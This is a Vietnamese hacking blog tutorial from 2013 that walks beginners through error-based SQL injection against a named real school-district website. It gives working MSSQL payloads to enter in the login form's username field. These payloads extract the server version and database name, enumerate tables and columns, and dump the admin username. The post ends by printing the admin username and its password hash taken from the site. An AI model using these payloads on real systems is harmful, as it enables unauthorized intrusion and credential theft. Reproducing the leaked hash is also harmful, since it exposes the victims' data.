Thứ Ba, 14 tháng 5, 2013

[TUT] Magic Convertt Aspx


[TUT] Khai thác Sqli - Magic Convertt Aspx

Tình hình đang ôn thi đại học căng thẳng nên có rất ít thời gian để online cũng như tìm hiểu về hacking . Nhưng để đóng góp chút gì đó nhân dịp sinh nhật VNHack Family  thì Kẻ Chọc Giận xin làm một tut sql cơ bản cho newbie nghiên cứu . Ai biết rồi đừng gạch đá ấy nhésai sót  mong được góp ý !


Có site cho anh em nghiên cứu khai thác mà chưa ai có đáp án nên Kẻ lấy nó làm tut luôn cho anh em !

Victim : http://pgdmongcai.edu.vn/ ( victim tương tự : http://www.pgdhalong.edu.vn/ )

Chắc hẳn việc đầu tiên là các bạn tìm link lỗi để check nó đúng không ?

VD : 
http://pgdmongcai.edu.vn/Default.aspx?page=news&mod=news&catid=126

sẽ là cái mà các bạn để ý đầu tiên. Các bạn check lỗi :
 http://pgdmongcai.edu.vn/Default.aspx?page=news&mod=news&catid=126'

Thấy nó lỗi rồi . nhưng mà liệu order by có được không ? mình đã thử nhưng không có kết quả gì khác !

 Nhìn quanh quanh click click nó ra cái link : 
http://pgdmongcai.edu.vn/Default.aspx?page=congvan&mod=congvan

âu sề . link đăng nhập . nhưng không có nick admin thì đăng có cũng bằng thừa .
Nhưng tại sao chúng ta không thử check lỗi ở ô "Tên truy cập" =)))))) . check thử nào :D


Và lỗi xuất hiện :P 


=> việc khó ở đây không phải là hack nó như thế nào . mà là tìm chỗ nào lỗi để hack :)

Vậy là đến đây nhiều mem đã biết nó bị lỗi như thế nào và check ra làm sao. Nhưng mình vẫn làm chi tiết cho newbie tham khảo nhé :D. ok ! trở lại link đăng nhập mà chúng ta vừa check

http://pgdmongcai.edu.vn/Default.aspx?page=congvan&mod=congvan

( Chú ý : Mọi querry mình đưa ra đều được inject vào ô Tên truy cập )

Version của nó :
' and 1=convert(int,@@version)-- - 

KQ :


( get tên database : ' and 1=convert(int,db_name())-- - )



Tiếp theo là get table :
' and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -



 table đầu tiên xuất hiện trước mắt . nhưng nó chỉ ra 1 table . Ta phải làm cho nó hiển thị các table khác.
' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private')))-- -

KQ :  
 Conversion failed when converting the nvarchar value 'tbl_permission' to data type int.
nó xuất hiện thêm table 'tbl_permission'  . tiếp tục tìm table tiếp theo 
' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private','tbl_permission' )))-- -
  
Conversion failed when converting the nvarchar value 'tbl_siteinfo' to data type int.

xuất hiện thêm table 'tbl_permission' . cứ tiếp tục như vậy cho đến khi ta tìm được như sau :
' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private','tbl_permission','tbl_siteinfo','tbl_student_point','tbl_student','tbl_th_pupil','tbl_th_adv','tbl_th_category_news','tbl_adv','tbl_th_class','tbl_category_gallery','tbl_th_news','tbl_category_library','tbl_category_news','tbl_th_siteinfo','tbl_th_vote_answer','tbl_category_news_private','tbl_th_vote_question') ))-- -
Kết quả hiện ra giành cho ai không nản khi check nó :D


 Giờ tiếp tục get column trong table tbl_user
' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') ))-- -

nó chỉ hiện 1 column nên ta làm tương tự như phần check table

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') ))-- -

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') and column_name not in ('PK_UserID','C_UserName') ))-- -


Kết Quả là tìm được 3 column : 

PK_UserID
C_UserName
C_UserPass


Và giờ là get nick admin thôi :)

Get Nick :  
 ' and 1=convert(int,(select top 1 C_UserName from tbl_user))-- -
Get Password :  
' and 1=convert(int,(select top 1 C_UserPass from tbl_user))-- -

KQ :  admin | d5a43b10e1eb57474e50e2eca8034f4f 

Đời lắm bất công nên phải tập chấp nhận với việc không crack được pass =))

0 nhận xét:

Đăng nhận xét